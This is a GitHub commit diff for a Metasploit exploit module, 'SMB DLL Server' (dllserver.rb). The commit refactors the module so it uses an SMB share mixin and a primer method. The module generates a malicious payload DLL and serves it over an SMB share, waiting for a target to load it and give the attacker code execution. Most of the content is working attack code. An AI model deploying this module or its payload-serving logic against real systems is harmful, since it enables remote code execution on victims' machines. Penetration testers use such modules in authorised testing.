Skip to content

Commit da829d9

Browse files
author
Matthew Hall
committed
Modify SMB generation code to use primer based on rapid7#3074 changes to
implement Msf::Exploit::Remote::SMB::Server::Share as a mixin.
1 parent 9aef561 commit da829d9

File tree

1 file changed

+13
-37
lines changed

1 file changed

+13
-37
lines changed

modules/exploits/windows/smb/dllserver.rb

Lines changed: 13 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -3,29 +3,29 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
# This is an example implementation of using the
6+
# This is an example implementation of using the
77
# Msf::Exploit::Remote::SMBFileServer module
8-
# to serve an arbitrary DLL over SMB
8+
# to serve an arbitrary DLL over SMB
99

1010
require 'msf/core'
1111

1212
class Metasploit3 < Msf::Exploit::Remote
13-
include Msf::Exploit::Remote::SMBFileServer
13+
include Msf::Exploit::Remote::SMB::Server::Share
1414
include Msf::Exploit::EXE
1515

1616
def initialize(info={})
1717
super(update_info(info,
1818
'Name' => 'SMB DLL Server',
1919
'Description' => %q{
2020
This is an example implementation of using the SMBFileServer module
21-
to serve an arbitrary DLL over SMB.
21+
to serve an arbitrary DLL over SMB.
2222
This module will sit around waiting for a DLL to be loaded,
2323
for instance by the "payload/windows/loadlibrary" module.
2424
},
2525
'Author' => [
2626
'Matthew Hall <[email protected]>',
2727
],
28-
'DisclosureDate' => 'Apr 24 2014',
28+
'DisclosureDate' => 'Mar 05 2014',
2929
'Platform' => 'win',
3030
'Privileged' => true,
3131
'Arch' => ARCH_X86,
@@ -44,42 +44,18 @@ def initialize(info={})
4444
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
4545
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
4646
],
47-
'DefaultTarget' => 0, # Default target is 32-bit
47+
'DefaultTarget' => 0, # Default target is 32-bit
4848
))
4949
register_options(
50-
[
51-
OptString.new('SHARE', [false, 'A static share path (ie. "share")']),
52-
OptString.new('DLL', [false, 'A static DLL name (ie. "exploit.dll")'])
53-
], self.class)
50+
[
51+
OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'exploit.dll'])
52+
], self.class)
53+
deregister_options('FILE_CONTENTS')
5454
end
5555

56-
def start_server
57-
print_status("Generating our malicious dll...")
58-
exe = generate_payload_dll
59-
60-
if not datastore['DLL']
61-
@exe_file = rand_text_alpha(7) + ".dll"
62-
else
63-
@exe_file = datastore['DLL']
64-
end
65-
if not datastore['SHARE']
66-
@share = rand_text_alpha(5)
67-
else
68-
@share = datastore['SHARE']
69-
end
70-
71-
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
72-
@unc = "\\\\#{my_host}\\#{@share}\\#{@exe_file}"
73-
print_status("Starting SMB Server on: " + @unc)
74-
# start_smb_server('UNC Path', 'Payload', 'Name of file to be served')
75-
start_smb_server(@unc, exe, @exe_file)
56+
def primer
57+
self.exe_contents = generate_payload_dll
58+
print_status("File available on #{unc}...")
7659
end
7760

78-
def exploit
79-
start_server
80-
while true
81-
break if session_created?
82-
sleep(1)
83-
end
84-
end
8561
end

0 commit comments

Comments
 (0)